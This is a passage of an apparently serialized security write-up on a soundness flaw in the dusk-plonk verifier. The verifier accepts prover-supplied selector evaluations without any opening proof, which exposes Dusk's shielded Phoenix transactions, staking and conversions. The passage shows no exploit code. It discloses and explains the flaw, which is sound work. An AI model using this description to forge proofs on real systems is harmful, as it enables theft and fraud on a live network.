3903],[143564],{"type":32,"value":786},{"type":26,"tag":475,"props":143566,"children":143568},{"className":143567,"style":3898},[3800],[],{"type":26,"tag":475,"props":143570,"children":143572},{"className":143571},[3708],[143573,143577,143582,143587,143592,143597,143601,143606],{"type":26,"tag":475,"props":143574,"children":143576},{"className":143575,"style":3821},[3713],[],{"type":26,"tag":475,"props":143578,"children":143580},{"className":143579,"style":21297},[3719,21296],[143581],{"type":32,"value":5701},{"type":26,"tag":475,"props":143583,"children":143585},{"className":143584},[21425],[143586],{"type":32,"value":626},{"type":26,"tag":475,"props":143588,"children":143590},{"className":143589,"style":113036},[3719,21296],[143591],{"type":32,"value":113039},{"type":26,"tag":475,"props":143593,"children":143595},{"className":143594},[21447],[143596],{"type":32,"value":2835},{"type":26,"tag":475,"props":143598,"children":143600},{"className":143599,"style":3801},[3800],[],{"type":26,"tag":475,"props":143602,"children":143604},{"className":143603},[3806],[143605],{"type":32,"value":110741},{"type":26,"tag":475,"props":143607,"children":143609},{"className":143608,"style":3801},[3800],[],{"type":26,"tag":475,"props":143611,"children":143613},{"className":143612},[3708],[143614,143618,143623,143628,143633],{"type":26,"tag":475,"props":143615,"children":143617},{"className":143616,"style":3821},[3713],[],{"type":26,"tag":475,"props":143619,"children":143621},{"className":143620,"style":21828},[3719,21296],[143622],{"type":32,"value":143043},{"type":26,"tag":475,"props":143624,"children":143626},{"className":143625},[21425],[143627],{"type":32,"value":626},{"type":26,"tag":475,"props":143629,"children":143631},{"className":143630,"style":113036},[3719,21296],[143632],{"type":32,"value":113039},{"type":26,"tag":475,"props":143634,"children":143636},{"className":143635},[21447],[143637],{"type":32,"value":2835},{"type":32,"value":143639}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":26,"tag":53,"props":143641,"children":143643},{"className":143642},[3691,3692],[143644],{"type":26,"tag":475,"props":143645,"children":143647},{"className":143646},[3697],[143648],{"type":26,"tag":475,"props":143649,"children":143651},{"className":143650,"ariaHidden":3703},[3702],[143652],{"type":26,"tag":475,"props":143653,"children":143655},{"className":143654},[3708],[143656,143660],{"type":26,"tag":475,"props":143657,"children":143659},{"className":143658,"style":110320},[3713],[],{"type":26,"tag":475,"props":143661,"children":143663},{"className":143662,"style":113036},[3719,21296],[143664],{"type":32,"value":113039},{"type":32,"value":143666}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":26,"tag":35,"props":143668,"children":143669},{},[143670,143672,143697,143699,143704],{"type":32,"value":143671},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":26,"tag":53,"props":143673,"children":143675},{"className":143674},[3691,3692],[143676],{"type":26,"tag":475,"props":143677,"children":143679},{"className":143678},[3697],[143680],{"type":26,"tag":475,"props":143681,"children":143683},{"className":143682,"ariaHidden":3703},[3702],[143684],{"type":26,"tag":475,"props":143685,"children":143687},{"className":143686},[3708],[143688,143692],{"type":26,"tag":475,"props":143689,"children":143691},{"className":143690,"style":110320},[3713],[],{"type":26,"tag":475,"props":143693,"children":143695},{"className":143694,"style":113036},[3719,21296],[143696],{"type":32,"value":113039},{"type":32,"value":143698},", the prover supplies ",{"type":26,"tag":2615,"props":143700,"children":143701},{},[143702],{"type":32,"value":143703},"evaluation claims",{"type":32,"value":143705}," that must be checked against those commitments with opening proofs.",{"type":26,"tag":35,"props":143707,"children":143708},{},[143709,143711,143715],{"type":32,"value":143710},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":26,"tag":2615,"props":143712,"children":143713},{},[143714],{"type":32,"value":104023},{"type":32,"value":143716}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":26,"tag":41,"props":143718,"children":143720},{"id":143719},"what-the-verifier-is-actually-allowed-to-trust",[143721],{"type":32,"value":143722},"What the verifier is actually allowed to trust",{"type":26,"tag":35,"props":143724,"children":143725},{},[143726,143728,143733],{"type":32,"value":143727},"For this bug, one invariant matters more than the rest: ",{"type":26,"tag":105,"props":143729,"children":143730},{},[143731],{"type":32,"value":143732},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":32,"value":353},{"type":26,"tag":35,"props":143735,"children":143736},{},[143737,143739,143831,143832,143924,143926,143951,143953,143993,143994,144034,144035,144128,144129,144175,144177,144264,144265,144352,144353,144440],{"type":32,"value":143738},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":26,"tag":53,"props":143740,"children":143742},{"className":143741},[3691,3692],[143743],{"type":26,"tag":475,"props":143744,"children":143746},{"className":143745},[3697],[143747],{"type":26,"tag":475,"props":143748,"children":143750},{"className":143749,"ariaHidden":3703},[3702],[143751],{"type":26,"tag":475,"props":143752,"children":143754},{"className":143753},[3708],[143755,143759,143816,143821,143826],{"type":26,"tag":475,"props":143756,"children":143758},{"className":143757,"style":3821},[3713],[],{"type":26,"tag":475,"props":143760,"children":143762},{"className":143761},[3719],[143763,143768],{"type":26,"tag":475,"props":143764,"children":143766},{"className":143765,"style":21828},[3719,21296],[143767],{"type":32,"value":143043},{"type":26,"tag":475,"props":143769,"children":143771},{"className":143770},[3736],[143772],{"type":26,"tag":475,"props":143773,"children":143775},{"className":143774},[3741,21350],[143776,143805],{"type":26,"tag":475,"props":143777,"children":143779},{"className":143778},[3746],[143780,143800],{"type":26,"tag":475,"props":143781,"children":143783},{"className":143782,"style":142034},[3751],[143784],{"type":26,"tag":475,"props":143785,"children":143786},{"style":115728},[143787,143791],{"type":26,"tag":475,"props":143788,"children":143790},{"className":143789,"style":3761},[3760],[],{"type":26,"tag":475,"props":143792,"children":143794},{"className":143793},[3766,3767,3768,3769],[143795],{"type":26,"tag":475,"props":143796,"children":143798},{"className":143797,"style":92901},[3719,21296,3769],[143799],{"type":32,"value":92904},{"type":26,"tag":475,"props":143801,"children":143803},{"className":143802},[21453],[143804],{"type":32,"value":21456},{"type":26,"tag":475,"props":143806,"children":143808},{"className":143807},[3746],[143809],{"type":26,"tag":475,"props":143810,"children":143812},{"className":143811,"style":92750},[3751],[143813],{"type":26,"tag":475,"props":143814,"children":143815},{},[],{"type":26,"tag":475,"props":143817,"children":143819},{"className":143818},[21425],[143820],{"type":32,"value":626},{"type":26,"tag":475,"props":143822,"children":143824},{"className":143823,"style":113036},[3719,21296],[143825],{"type":32,"value":113039},{"type":26,"tag":475,"props":143827,"children":143829},{"className":143828},[21447],[143830],{"type":32,"value":2835},{"type":32,"value":637},{"type":26,"tag":53,"props":143833,"children":143835},{"className":143834},[3691,3692],[143836],{"type":26,"tag":475,"props":143837,"children":143839},{"className":143838},[3697],[143840],{"type":26,"tag":475,"props":143841,"children":143843},{"className":143842,"ariaHidden":3703},[3702],[143844],{"type":26,"tag":475,"props":143845,"children":143847},{"className":143846},[3708],[143848,143852,143909,143914,143919],{"type":26,"tag":475,"props":143849,"children":143851},{"className":143850,"style":3821},[3713],[],{"type":26,"tag":475,"props":143853,"children":143855},{"className":143854},[3719],[143856,143861],{"type":26,"tag":475,"props":143857,"children":143859},{"className":143858},[3719,21296],[143860],{"type":32,"value":117443},{"type":26,"tag":475,"props":143862,"children":143864},{"className":143863},[3736],[143865],{"type":26,"tag":475,"props":143866,"children":143868},{"className":143867},[3741,21350],[143869,143898],{"type":26,"tag":475,"props":143870,"children":143872},{"className":143871},[3746],[143873,143893],{"type":26,"tag":475,"props":143874,"children":143876},{"className":143875,"style":92719},[3751],[143877],{"type":26,"tag":475,"props":143878,"children":143879},{"style":92723},[143880,143884],{"type":26,"tag":475,"props":143881,"children":143883},{"className":143882,"style":3761},[3760],[],{"type":26,"tag":475,"props":143885,"children":143887},{"className":143886},[3766,3767,3768,3769],[143888],{"type":26,"tag":475,"props":143889,"children":143891},{"className":143890},[3719,3769],[143892],{"type":32,"value":3722},{"type":26,"tag":475,"props":143894,"children":143896},{"className":143895},[21453],[143897],{"type":32,"value":21456},{"type":26,"tag":475,"props":143899,"children":143901},{"className":143900},[3746],[143902],{"type":26,"tag":475,"props":143903,"children":143905},{"className":143904,"style":92750},[3751],[143906],{"type":26,"tag":475,"props":143907,"children":143908},{},[],{"type":26,"tag":475,"props":143910,"children":143912},{"className":143911},[21425],[143913],{"type":32,"value":626},{"type":26,"tag":475,"props":143915,"children":143917},{"className":143916,"style":113036},[3719,21296],[143918],{"type":32,"value":113039},{"type":26,"tag":475,"props":143920,"children":143922},{"className":143921},[21447],[143923],{"type":32,"value":2835},{"type":32,"value":143925},", the public-input polynomial at ",{"type":26,"tag":53,"props":143927,"children":143929},{"className":143928},[3691,3692],[143930],{"type":26,"tag":475,"props":143931,"children":143933},{"className":143932},[3697],[143934],{"type":26,"tag":475,"props":143935,"children":143937},{"className":143936,"ariaHidden":3703},[3702],[143938],{"type":26,"tag":475,"props":143939,"children":143941},{"className":143940},[3708],[143942,143946],{"type":26,"tag":475,"props":143943,"children":143945},{"className":143944,"style":110320},[3713],[],{"type":26,"tag":475,"props":143947,"children":143949},{"className":143948,"style":113036},[3719,21296],[143950],{"type":32,"value":113039},{"type":32,"value":143952},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":26,"tag":53,"props":143954,"children":143956},{"className":143955},[3691,3692],[143957],{"type":26,"tag":475,"props":143958,"children":143960},{"className":143959},[3697],[143961],{"type":26,"tag":475,"props":143962,"children":143964},{"className":143963,"ariaHidden":3703},[3702],[143965],{"type":26,"tag":475,"props":143966,"children":143968},{"className":143967},[3708],[143969,143973,143978,143983,143988],{"type":26,"tag":475,"props":143970,"children":143972},{"className":143971,"style":3821},[3713],[],{"type":26,"tag":475,"props":143974,"children":143976},{"className":143975},[3719,21296],[143977],{"type":32,"value":116},{"type":26,"tag":475,"props":143979,"children":143981},{"className":143980},[21425],[143982],{"type":32,"value":626},{"type":26,"tag":475,"props":143984,"children":143986},{"className":143985,"style":113036},[3719,21296],[143987],{"type":32,"value":113039},{"type":26,"tag":475,"props":143989,"children":143991},{"className":143990},[21447],[143992],{"type":32,"value":2835},{"type":32,"value":637},{"type":26,"tag":53,"props":143995,"children":143997},{"className":143996},[3691,3692],[143998],{"type":26,"tag":475,"props":143999,"children":144001},{"className":144000},[3697],[144002],{"type":26,"tag":475,"props":144003,"children":144005},{"className":144004,"ariaHidden":3703},[3702],[144006],{"type":26,"tag":475,"props":144007,"children":144009},{"className":144008},[3708],[144010,144014,144019,144024,144029],{"type":26,"tag":475,"props":144011,"children":144013},{"className":144012,"style":3821},[3713],[],{"type":26,"tag":475,"props":144015,"children":144017},{"className":144016},[3719,21296],[144018],{"type":32,"value":2930},{"type":26,"tag":475,"props":144020,"children":144022},{"className":144021},[21425],[144023],{"type":32,"value":626},{"type":26,"tag":475,"props":144025,"children":144027},{"className":144026,"style":113036},[3719,21296],[144028],{"type":32,"value":113039},{"type":26,"tag":475,"props":144030,"children":144032},{"className":144031},[21447],[144033],{"type":32,"value":2835},{"type":32,"value":637},{"type":26,"tag":53,"props":144036,"children":144038},{"className":144037},[3691,3692],[144039],{"type":26,"tag":475,"props":144040,"children":144042},{"className":144041},[3697],[144043],{"type":26,"tag":475,"props":144044,"children":144046},{"className":144045,"ariaHidden":3703},[3702],[144047],{"type":26,"tag":475,"props":144048,"children":144050},{"className":144049},[3708],[144051,144055,144113,144118,144123],{"type":26,"tag":475,"props":144052,"children":144054},{"className":144053,"style":3821},[3713],[],{"type":26,"tag":475,"props":144056,"children":144058},{"className":144057},[3719],[144059,144065],{"type":26,"tag":475,"props":144060,"children":144062},{"className":144061,"style":93153},[3719,21296],[144063],{"type":32,"value":144064},"σ",{"type":26,"tag":475,"props":144066,"children":144068},{"className":144067},[3736],[144069],{"type":26,"tag":475,"props":144070,"children":144072},{"className":144071},[3741,21350],[144073,144102],{"type":26,"tag":475,"props":144074,"children":144076},{"className":144075},[3746],[144077,144097],{"type":26,"tag":475,"props":144078,"children":144080},{"className":144079,"style":92719},[3751],[144081],{"type":26,"tag":475,"props":144082,"children":144083},{"style":93200},[144084,144088],{"type":26,"tag":475,"props":144085,"children":144087},{"className":144086,"style":3761},[3760],[],{"type":26,"tag":475,"props":144089,"children":144091},{"className":144090},[3766,3767,3768,3769],[144092],{"type":26,"tag":475,"props":144093,"children":144095},{"className":144094},[3719,3769],[144096],{"type":32,"value":3722},{"type":26,"tag":475,"props":144098,"children":144100},{"className":144099},[21453],[144101],{"type":32,"value":21456},{"type":26,"tag":475,"props":144103,"children":144105},{"className":144104},[3746],[144106],{"type":26,"tag":475,"props":144107,"children":144109},{"className":144108,"style":92750},[3751],[144110],{"type":26,"tag":475,"props":144111,"children":144112},{},[],{"type":26,"tag":475,"props":144114,"children":144116},{"className":144115},[21425],[144117],{"type":32,"value":626},{"type":26,"tag":475,"props":144119,"children":144121},{"className":144120,"style":113036},[3719,21296],[144122],{"type":32,"value":113039},{"type":26,"tag":475,"props":144124,"children":144126},{"className":144125},[21447],[144127],{"type":32,"value":2835},{"type":32,"value":637},{"type":26,"tag":53,"props":144130,"children":144132},{"className":144131},[3691,3692],[144133],{"type":26,"tag":475,"props":144134,"children":144136},{"className":144135},[3697],[144137],{"type":26,"tag":475,"props":144138,"children":144140},{"className":144139,"ariaHidden":3703},[3702],[144141],{"type":26,"tag":475,"props":144142,"children":144144},{"className":144143},[3708],[144145,144149,144154,144159,144164,144170],{"type":26,"tag":475,"props":144146,"children":144148},{"className":144147,"style":3821},[3713],[],{"type":26,"tag":475,"props":144150,"children":144152},{"className":144151},[3719,21296],[144153],{"type":32,"value":116},{"type":26,"tag":475,"props":144155,"children":144157},{"className":144156},[21425],[144158],{"type":32,"value":626},{"type":26,"tag":475,"props":144160,"children":144162},{"className":144161,"style":113036},[3719,21296],[144163],{"type":32,"value":113039},{"type":26,"tag":475,"props":144165,"children":144167},{"className":144166,"style":93153},[3719,21296],[144168],{"type":32,"value":144169},"ω",{"type":26,"tag":475,"props":144171,"children":144173},{"className":144172},[21447],[144174],{"type":32,"value":2835},{"type":32,"value":144176},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":26,"tag":53,"props":144178,"children":144180},{"className":144179},[3691,3692],[144181],{"type":26,"tag":475,"props":144182,"children":144184},{"className":144183},[3697],[144185],{"type":26,"tag":475,"props":144186,"children":144188},{"className":144187,"ariaHidden":3703},[3702],[144189],{"type":26,"tag":475,"props":144190,"children":144192},{"className":144191},[3708],[144193,144197,144202,144259],{"type":26,"tag":475,"props":144194,"children":144196},{"className":144195,"style":3821},[3713],[],{"type":26,"tag":475,"props":144198,"children":144200},{"className":144199},[21425],[144201],{"type":32,"value":3440},{"type":26,"tag":475,"props":144203,"children":144205},{"className":144204},[3719],[144206,144211],{"type":26,"tag":475,"props":144207,"children":144209},{"className":144208,"style":93153},[3719,21296],[144210],{"type":32,"value":93156},{"type":26,"tag":475,"props":144212,"children":144214},{"className":144213},[3736],[144215],{"type":26,"tag":475,"props":144216,"children":144218},{"className":144217},[3741,21350],[144219,144248],{"type":26,"tag":475,"props":144220,"children":144222},{"className":144221},[3746],[144223,144243],{"type":26,"tag":475,"props":144224,"children":144226},{"className":144225,"style":142034},[3751],[144227],{"type":26,"tag":475,"props":144228,"children":144229},{"style":93200},[144230,144234],{"type":26,"tag":475,"props":144231,"children":144233},{"className":144232,"style":3761},[3760],[],{"type":26,"tag":475,"props":144235,"children":144237},{"className":144236},[3766,3767,3768,3769],[144238],{"type":26,"tag":475,"props":144239,"children":144241},{"className":144240,"style":94675},[3719,21296,3769],[144242],{"type":32,"value":94678},{"type":26,"tag":475,"props":144244,"children":144246},{"className":144245},[21453],[144247],{"type":32,"value":21456},{"type":26,"tag":475,"props":144249,"children":144251},{"className":144250},[3746],[144252],{"type":26,"tag":475,"props":144253,"children":144255},{"className":144254,"style":92750},[3751],[144256],{"type":26,"tag":475,"props":144257,"children":144258},{},[],{"type":26,"tag":475,"props":144260,"children":144262},{"className":144261},[21447],[144263],{"type":32,"value":15117},{"type":32,"value":637},{"type":26,"tag":53,"props":144266,"children":144268},{"className":144267},[3691,3692],[144269],{"type":26,"tag":475,"props":144270,"children":144272},{"className":144271},[3697],[144273],{"type":26,"tag":475,"props":144274,"children":144276},{"className":144275,"ariaHidden":3703},[3702],[144277],{"type":26,"tag":475,"props":144278,"children":144280},{"className":144279},[3708],[144281,144285,144290,144347],{"type":26,"tag":475,"props":144282,"children":144284},{"className":144283,"style":3821},[3713],[],{"type":26,"tag":475,"props":144286,"children":144288},{"className":144287},[21425],[144289],{"type":32,"value":3440},{"type":26,"tag":475,"props":144291,"children":144293},{"className":144292},[3719],[144294,144299],{"type":26,"tag":475,"props":144295,"children":144297},{"className":144296,"style":93153},[3719,21296],[144298],{"type":32,"value":93156},{"type":26,"tag":475,"props":144300,"children":144302},{"className":144301},[3736],[144303],{"type":26,"tag":475,"props":144304,"children":144306},{"className":144305},[3741,21350],[144307,144336],{"type":26,"tag":475,"props":144308,"children":144310},{"className":144309},[3746],[144311,144331],{"type":26,"tag":475,"props":144312,"children":144314},{"className":144313,"style":142034},[3751],[144315],{"type":26,"tag":475,"props":144316,"children":144317},{"style":93200},[144318,144322],{"type":26,"tag":475,"props":144319,"children":144321},{"className":144320,"style":3761},[3760],[],{"type":26,"tag":475,"props":144323,"children":144325},{"className":144324},[3766,3767,3768,3769],[144326],{"type":26,"tag":475,"props":144327,"children":144329},{"className":144328,"style":92667},[3719,21296,3769],[144330],{"type":32,"value":114798},{"type":26,"tag":475,"props":144332,"children":144334},{"className":144333},[21453],[144335],{"type":32,"value":21456},{"type":26,"tag":475,"props":144337,"children":144339},{"className":144338},[3746],[144340],{"type":26,"tag":475,"props":144341,"children":144343},{"className":144342,"style":92750},[3751],[144344],{"type":26,"tag":475,"props":144345,"children":144346},{},[],{"type":26,"tag":475,"props":144348,"children":144350},{"className":144349},[21447],[144351],{"type":32,"value":15117},{"type":32,"value":637},{"type":26,"tag":53,"props":144354,"children":144356},{"className":144355},[3691,3692],[144357],{"type":26,"tag":475,"props":144358,"children":144360},{"className":144359},[3697],[144361],{"type":26,"tag":475,"props":144362,"children":144364},{"className":144363,"ariaHidden":3703},[3702],[144365],{"type":26,"tag":475,"props":144366,"children":144368},{"className":144367},[3708],[144369,144373,144378,144435],{"type":26,"tag":475,"props":144370,"children":144372},{"className":144371,"style":3821},[3713],[],{"type":26,"tag":475,"props":144374,"children":144376},{"className":144375},[21425],[144377],{"type":32,"value":3440},{"type":26,"tag":475,"props":144379,"children":144381},{"className":144380},[3719],[144382,144387],{"type":26,"tag":475,"props":144383,"children":144385},{"className":144384,"style":93153},[3719,21296],[144386],{"type":32,"value":144064},{"type":26,"tag":475,"props":144388,"children":144390},{"className":144389},[3736],[144391],{"type":26,"tag":475,"props":144392,"children":144394},{"className":144393},[3741,21350],[144395,144424],{"type":26,"tag":475,"props":144396,"children":144398},{"className":144397},[3746],[144399,144419],{"type":26,"tag":475,"props":144400,"children":144402},{"className":144401,"style":92719},[3751],[144403],{"type":26,"tag":475,"props":144404,"children":144405},{"style":93200},[144406,144410],{"type":26,"tag":475,"props":144407,"children":144409},{"className":144408,"style":3761},[3760],[],{"type":26,"tag":475,"props":144411,"children":144413},{"className":144412},[3766,3767,3768,3769],[144414],{"type":26,"tag":475,"props":144415,"children":144417},{"className":144416},[3719,3769],[144418],{"type":32,"value":17235},{"type":26,"tag":475,"props":144420,"children":144422},{"className":144421},[21453],[144423],{"type":32,"value":21456},{"type":26,"tag":475,"props":144425,"children":144427},{"className":144426},[3746],[144428],{"type":26,"tag":475,"props":144429,"children":144431},{"className":144430,"style":92750},[3751],[144432],{"type":26,"tag":475,"props":144433,"children":144434},{},[],{"type":26,"tag":475,"props":144436,"children":144438},{"className":144437},[21447],[144439],{"type":32,"value":15117},{"type":32,"value":144441},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":26,"tag":35,"props":144443,"children":144444},{},[144445],{"type":32,"value":144446},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":26,"tag":18502,"props":144448,"children":144449},{},[],{"type":26,"tag":27,"props":144451,"children":144453},{"id":144452},"where-dusk-plonk-differs-from-textbook-plonk",[144454],{"type":32,"value":144455},"Where dusk-plonk differs from textbook PLONK",{"type":26,"tag":35,"props":144457,"children":144458},{},[144459,144468,144470,144475,144477,144507],{"type":26,"tag":116,"props":144460,"children":144462},{"href":141334,"rel":144461},[120],[144463],{"type":26,"tag":53,"props":144464,"children":144466},{"className":144465},[],[144467],{"type":32,"value":141338},{"type":32,"value":144469}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":26,"tag":53,"props":144471,"children":144473},{"className":144472},[],[144474],{"type":32,"value":621},{"type":32,"value":144476},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":26,"tag":53,"props":144478,"children":144480},{"className":144479},[3691,3692],[144481],{"type":26,"tag":475,"props":144482,"children":144484},{"className":144483},[3697],[144485],{"type":26,"tag":475,"props":144486,"children":144488},{"className":144487,"ariaHidden":3703},[3702],[144489],{"type":26,"tag":475,"props":144490,"children":144492},{"className":144491},[3708],[144493,144497,144502],{"type":26,"tag":475,"props":144494,"children":144496},{"className":144495,"style":110320},[3713],[],{"type":26,"tag":475,"props":144498,"children":144500},{"className":144499,"style":113036},[3719,21296],[144501],{"type":32,"value":113039},{"type":26,"tag":475,"props":144503,"children":144505},{"className":144504,"style":93153},[3719,21296],[144506],{"type":32,"value":144169},{"type":32,"value":144508},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":26,"tag":35,"props":144510,"children":144511},{},[144512,144514,144519,144520,144525,144527,144533,144535,144542],{"type":32,"value":144513},"The important part for this bug is the boundary between ",{"type":26,"tag":105,"props":144515,"children":144516},{},[144517],{"type":32,"value":144518},"public circuit data",{"type":32,"value":209},{"type":26,"tag":105,"props":144521,"children":144522},{},[144523],{"type":32,"value":144524},"prover claims about that data at the random challenge point",{"type":32,"value":144526},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":26,"tag":53,"props":144528,"children":144530},{"className":144529},[],[144531],{"type":32,"value":144532},"Ql, Qr, Qm, Qo, Qk",{"type":32,"value":144534}," directly into the ",{"type":26,"tag":116,"props":144536,"children":144539},{"href":144537,"rel":144538},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[120],[144540],{"type":32,"value":144541},"linearization multi-scalar multiplication",{"type":32,"value":144543},", ensuring their values are cryptographically bound by construction.",{"type":26,"tag":35,"props":144545,"children":144546},{},[144547,144549,144574],{"type":32,"value":144548},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":26,"tag":53,"props":144550,"children":144552},{"className":144551},[3691,3692],[144553],{"type":26,"tag":475,"props":144554,"children":144556},{"className":144555},[3697],[144557],{"type":26,"tag":475,"props":144558,"children":144560},{"className":144559,"ariaHidden":3703},[3702],[144561],{"type":26,"tag":475,"props":144562,"children":144564},{"className":144563},[3708],[144565,144569],{"type":26,"tag":475,"props":144566,"children":144568},{"className":144567,"style":110320},[3713],[],{"type":26,"tag":475,"props":144570,"children":144572},{"className":144571,"style":113036},[3719,21296],[144573],{"type":32,"value":113039},{"type":32,"value":144575}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":26,"tag":35,"props":144577,"children":144578},{},[144579],{"type":32,"value":144580},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":26,"tag":144582,"props":144583,"children":144584},"dusk-verifier-dependence-graph",{},[],{"type":26,"tag":18502,"props":144586,"children":144587},{},[],{"type":26,"tag":27,"props":144589,"children":144591},{"id":144590},"how-dusk-uses-plonk",[144592],{"type":32,"value":144593},"How Dusk uses PLONK",{"type":26,"tag":35,"props":144595,"children":144596},{},[144597,144603],{"type":26,"tag":116,"props":144598,"children":144600},{"href":141343,"rel":144599},[120],[144601],{"type":32,"value":144602},"Dusk Network",{"type":32,"value":144604}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":26,"tag":82,"props":144606,"children":144607},{},[144608,144613],{"type":26,"tag":86,"props":144609,"children":144610},{},[144611],{"type":32,"value":144612},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":26,"tag":86,"props":144614,"children":144615},{},[144616],{"type":32,"value":144617},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":26,"tag":35,"props":144619,"children":144620},{},[144621,144623,144634,144636,144647],{"type":32,"value":144622},"At node level, every ",{"type":26,"tag":116,"props":144624,"children":144627},{"href":144625,"rel":144626},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[120],[144628],{"type":26,"tag":53,"props":144629,"children":144631},{"className":144630},[],[144632],{"type":32,"value":144633},"ProtocolTransaction::Phoenix",{"type":32,"value":144635}," goes through ",{"type":26,"tag":116,"props":144637,"children":144640},{"href":144638,"rel":144639},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[120],[144641],{"type":26,"tag":53,"props":144642,"children":144644},{"className":144643},[],[144645],{"type":32,"value":144646},"verify_proof_with_version()",{"type":32,"value":144648}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":26,"tag":35,"props":144650,"children":144651},{},[144652,144654,144665,144667,144678,144679,144690,144691,144702,144703,144714],{"type":32,"value":144653},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":26,"tag":116,"props":144655,"children":144658},{"href":144656,"rel":144657},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[120],[144659],{"type":26,"tag":53,"props":144660,"children":144662},{"className":144661},[],[144663],{"type":32,"value":144664},"phoenix()",{"type":32,"value":144666},", for example in ",{"type":26,"tag":116,"props":144668,"children":144671},{"href":144669,"rel":144670},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[120],[144672],{"type":26,"tag":53,"props":144673,"children":144675},{"className":144674},[],[144676],{"type":32,"value":144677},"phoenix_stake()",{"type":32,"value":637},{"type":26,"tag":116,"props":144680,"children":144683},{"href":144681,"rel":144682},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[120],[144684],{"type":26,"tag":53,"props":144685,"children":144687},{"className":144686},[],[144688],{"type":32,"value":144689},"phoenix_stake_reward()",{"type":32,"value":637},{"type":26,"tag":116,"props":144692,"children":144695},{"href":144693,"rel":144694},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[120],[144696],{"type":26,"tag":53,"props":144697,"children":144699},{"className":144698},[],[144700],{"type":32,"value":144701},"phoenix_unstake()",{"type":32,"value":6201},{"type":26,"tag":116,"props":144704,"children":144707},{"href":144705,"rel":144706},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[120],[144708],{"type":26,"tag":53,"props":144709,"children":144711},{"className":144710},[],[144712],{"type":32,"value":144713},"phoenix_to_moonlight()",{"type":32,"value":144715},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":26,"tag":35,"props":144717,"children":144718},{},[144719],{"type":26,"tag":132,"props":144720,"children":144723},{"alt":144721,"src":144722},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":26,"tag":35,"props":144725,"children":144726},{},[144727,144729,144735,144737,144744],{"type":32,"value":144728},"The PLONK implementation, ",{"type":26,"tag":116,"props":144730,"children":144733},{"href":144731,"rel":144732},"https://github.com/dusk-network/plonk",[120],[144734],{"type":32,"value":141338},{"type":32,"value":144736},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":26,"tag":116,"props":144738,"children":144741},{"href":144739,"rel":144740},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[120],[144742],{"type":32,"value":144743},"the original paper",{"type":32,"value":144745}," was released.",{"type":26,"tag":35,"props":144747,"children":144748},{},[144749,144751,144757],{"type":32,"value":144750},"The Phoenix transaction PLONK circuit is defined ",{"type":26,"tag":116,"props":144752,"children":144755},{"href":144753,"rel":144754},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[120],[144756],{"type":32,"value":47278},{"type":32,"value":144758},". The circuit enforces the following set of 